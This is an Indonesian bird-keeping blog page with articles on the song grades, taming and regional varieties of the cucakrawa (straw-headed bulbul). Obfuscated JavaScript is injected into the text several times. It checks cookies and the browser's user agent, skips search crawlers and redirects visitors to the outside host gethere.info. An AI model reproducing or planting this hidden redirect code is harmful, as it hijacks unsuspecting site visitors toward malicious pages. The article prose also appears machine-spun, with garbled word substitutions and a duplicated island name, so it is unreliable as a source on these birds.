IBX5980432E7F390 Tingkatan dan Kualitas Suara Cucakrawa Kupas Triknya - Kicauan Burung Lovebird Ngekek

Tingkatan dan Kualitas Suara Cucakrawa Kupas Triknya

Tingkatan dan Kualitas Suara Cucakrawa

Tingkatan dan kualitas bunyi cucakrawa– Tingkatan burung cucakrawa bisa dilihat dari kualitas suaranya. Suara cucakrawa bisa menjadi patokan dalam menilai sejauh mana kemampuan si burung cucakrawa tersebut.

Jika diperhatikan secara seksama, setiap burung cucakrawa pasati memiliki suara yang berbeda-beda. Tidak ada satu pun burung cucakrawa yang sama suaranya jikalau didengarkan lebih terang lagi.

Tujuan penangkaran burung cucakrawa bagi sebagian orang yaitu untuk mengakibatkan cucakrawa sebagai burung petarung.Tingkatan dan Kualitas Suara Cucakrawa

Burung petarung disini bukanlah burung yang dijadikan sebagai burung yang bertarung secara fisik satu sama lain. Tetapi, burung petarung disini maksudnya yaitu burung yang mempertarungkan suaranya.

Bagi burung cucakrawa yang suaranya paling cantik, itulah beliau yang menjadi jawaranya. Tidaklah harus yang mempunyai bulu yang indah dan tubuh yang kekar untuk mampu menjadi cucakrawa jawara.

Cukup dengan bermodalkan suara yang bagus dan istimewa, yakinlah bahwa cucakrawa bisa menjadi sang jawaranya.

Suara cucakrawa mempunyai tingkatan-tingkatannya tersendiri. Dari yang mempunyai tingkatan terendah hingga ke tingkatan yang paling tinggi. Tingkatan tingkatan suara cucakrawa mampu diistilahkan. Berikut ini akan dibahas perbedaan tingkatan bunyi pada cucakrawa.

Suara Double Slah Cucakrawa

Double slah merupakan istilah yang baru-baru keluar pada saat kini. Belum banyak orang yang tahu mengenai istilah double slah ini.

Hanya orang-orang yang selalu up date mengenai hal-hal terbaru ihwal burung cucakrawa sajalah yang tahu mengenai istialah double slah. Suara yang seakan-akan ini mempunyai kelebihan.

Kelebihannya adalah suaranya mempunyai tingkatan yang cukup baik jikalau dibandingkan dengan suara lainnya. Suara yang seperti ini sering dijumpai pada cucakrawa Sumatera Selatan.

Jenis suara Roppel Cucakrawa

Suara seakan-akan ini banyak dimiliki oleh cucakrawa asal Medan dan Lampung. Untuk di beberapa kawasan lainnya, suara jenis ini tidak banyak ditemukan. Jikapun ada hanya sedikit jumlahnya.

Ciri-ciri burung cucakrawa yang mempunyai suara jenis ini yaitu bunyinya yang terkesan menggulung-gulung. Selain itu suara jenis ini mempunyai volume yang sangat besar kalau dibandingkan dengan suara jenis lainnya.

Roppel merupakan jenis suara yang sangat manis beliauntara semua jenis bunyi pada cucakrawa. Suara jenis ini mempunyai keistimewaan.

Keistimewaannya adalah suara ini tidak mempunyai jarak. Makara, tidak ada sedikitpun celah bagi burung lainnya untuk menyambung kicauan burung cucakrawa yang mempunyai jenis bunyi ini.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Suara Master untuk Burung Cucakrawa Bakalan
  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Habitat Penyebaran Burung Cucakrawa
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Ukuran Kandang Penangkaran Cucakrawa
  • Merawat Cucakrawa Sedang Bertelur
  • Cara Menjinakan Burung Cucakrawa liar
  • Kehidupan Cucak Rawa di Hutan Liar
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Perawatan Cucakrawa Lomba dan Setelah Lomba

Cara Menjinakan Burung Cucakrawa liar

Cara menjinakan burung cucakrawa Liar – Sudah bukan hal yang aneh lagi di telinga kita bila burung cucakrawa di puji-puji oleh banyak orang karena mempunyai karakter bunyi yang unik dan mempunyai variasi bunyi yang banyak.

Burung cucakrawa banyak yang mengakibatkannya sebagai burung petarung. Padahal bahu-membahu burung cucakrawa bukan merupakan burung petarung.

Tidak banyak masyarakat yang tahu bahwa burung cuckrawa bukanlah burung petarung. Jika cucakrawa bukan burung petarung, lantas mengapa ia mampu bertarung dengan burung lainnya?Cara Menjinakan Burung Cucakrawa liar

Itu sebabnya ialah karena jikalau burung cucakrawa didekatkan dengan burung jenis lainnya, maka ia akan cenderung birahi.

Dan birahinya juga mempunnyai beberapa tingkatan. Jika burung sudah birahi, maka ia akan bertarung dengan lawan yang ada dihadapannya.

Walaupun cuckrawa merupakan burung yang banyak di puji-puji, tetapi bukan berarti ia tidak memiliki kelemahan dan kelebihan. Setiap makhluk hidup pasti mempunyai kelebihan dan kekurangan. Tak terkecuali pada burung cucakrawa.

Kelebihan dari cucakrawa yaitu abjadnya yang praktis sekali dijinakkan. Ada beberapa burung yang paling tidak mampu dijinakkan.

Bahkan sudah berminggu-minggu, bahkan berbulan-bulan dijinakkan tidak jinak-jinak juga. Untung saja karakter itu tidak dimiliki oleh cucakrawa. Cucakrawa merupakan burung yang sangat senang untuk dijinakkan.

Akan tetapi, ada syarat yang harus dipenuhi jika menjinakkan burung cucakrawa. Syaratnya hanya satu yaitu cucakrawa harus mendapatkan perawatan dan juga perlakuan yang amat sangat baik dari kita.

Jika cucakrawa merasa jika pemiliknya yang baru ini memberikan perlakuan dan perawatan yang baik dari kita, maka ia akan mudah untuk dijinakkan.

Jika tadi kita membahas mengenai kelebiha cucakrawa, kini kita akan membahas kekurangannya. Kekurangan cucakrawa yaitu sulitnya beradaptasi dengan lingkungan sekitarnya.

Burung cucakrawa merupakan burung yang sangat-sangat sulit untuk menyesuaikan diri dengan lingkungan sekitarnya. Ketika sudah hingga pada lingkungan yang gres, hendaknya kita meletakkan cucakrawa di tempat yang tenang dan tidak ada insan yang lalu lalang.

Hal ini dilakukan supaya burung cucakrawa mudah mengikuti keadaan dengan lingkungannya. Dan yang paling penting adalah agar cucakrawa tidak stres dengan banyaknya orang yang berlalu lalang di sangkarnya.

Cucakrawa merupakan burung yang mudah sekali stres. Jika sudah dikejutkan dengan sesuatu yang menciptakan ia takut, maka bisa saja ia akan stres dan usang kelamaan akan sakit dan hasilnya mati jikalau tidak ditangani dengan cepat.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)\-[2-7])(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Kehidupan Cucak Rawa di Hutan Liar
  • Habitat Penyebaran Burung Cucakrawa
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Konstruksi Kandang Penangkaran Burung Cucakrawa
  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • Ciri Fisik Burung Cucakrawa Liar
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Mengenal Karakter Burung Cucak Rawa lokal
  • Peralatan Kandang Burung Cucakrawa Dewasa

Jenis Spesies Burung Cucakrawa Berkualitas

Jenis spesies burung cucakrawa berkualitas – Cucakrawa merupakan salah satu burung yang mempunyai jenis terbanyak di dunia. Tak dipungkiri lagi jenis cucakrawa di Indonesia saja sudah aneka macam. Akan tetapi, itu dahulu.

Sekarang, keadaan cucakrawa sudah termasuk ke dalam burung yang hampir punah di habitat aslinya. Banyaknya perburuan liar dan semakin banyaknya pembakaran hutan maka cucakrawapun keberadaannya sudah semakin menipis di habitat aslinya.Jenis Spesies Burung Cucakrawa Berkualitas

Tapi, kita tidak perlu khawatir kalau burung ini akan musnah di bumi. Cucakrawa kini sudah banyak ditangkarkan oleh masyarakat di Indonesia maupun di luar negeri.

Jadi, bila kita ingin menangkarkan burung cucakrawa ini, hanya tinggal beli saja di penangkaran dan tidak payah lagi memburu cucakrawa di hutan secara liar.

Di Indonesia sendiri, cucakrawa sudah menyebar di beberapa Pulau. Beberapa Pulau tersebut adalah Pulau Jawa, Pulau Kalimantan, Pulau Sumatra, dan yang terakhir ialah Pulau Sumatra.

Masing-masing kawasan memiliki cucakrawa yang berbeda-beda. Mutu cucakrawa di setiap tempatnya pun juga berbeda-beda.

Ada yang cucakrawa bermutu tinggi dan ada yang cucakrawa bermutu rendah. Untuk mengetahui jenis-jenis cucakrawa yang ada di Indonesia, mari kita simak klarifikasi di bawah ini.

Ciri fisik Cucakawa Lampung

Cucakrawa lampung bisa dikatakan cucakrawa yang bermutu tinggi ke-3 di Indonesia. Cucakrawa lampung tinggal di hutan yang mempunyai banyak pepohonan yang besar.

Jika cuman hutan saja, tapi tidak memiliki pepohonan yang besar, maka burung ini tidak mau tinggal di hutan tersebut. Ciri yang menonjol dari cucakrawa lampung ialah dada yang bidang, dan sayapnya kelihatan lebih kokoh.

Burung ini memiliki kelebihan dan kelemahan. Kelebihannya ialah volume bunyinya yang besar daripada burung jenis lainnya. Dan kelemahannya yaitu tidak mempunyai variasi lagu yang banyak.

Ciri fisik Cucakrawa Medan

Sudah tidak menjadi hal yang baru lagi jika burung cucakrawa medan merupakan cucakrawa yang menempati peringkat pertama sebagai burung yang memiliki mutu tinggi.

Burung ini tinggal di rawa-rawa hutan di medan. CIri yang menonjol dari cucakrawa ini adalah memiliki badan yang besar dan mempunyai variasi bunyi yang banyak.

Kekurangan yang dimiliki oleh burung cucakrawra medan adalah cucakrawa tidak memiliki bunyi yang melengking, jadi bunyi kesudahannya menjadi terdengar berat.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)t5))(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Kehidupan Cucak Rawa di Hutan Liar
  • Ukuran Kandang Penangkaran Cucakrawa
  • Habitat Penyebaran Burung Cucakrawa
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • Ciri Fisik Burung Cucakrawa Berkualitas Bagus
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Cara Memilih Calon Indukan Cucakrawa Bagus

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Tingkatan dan Kualitas Suara Cucakrawa Kupas Triknya"

Posting Komentar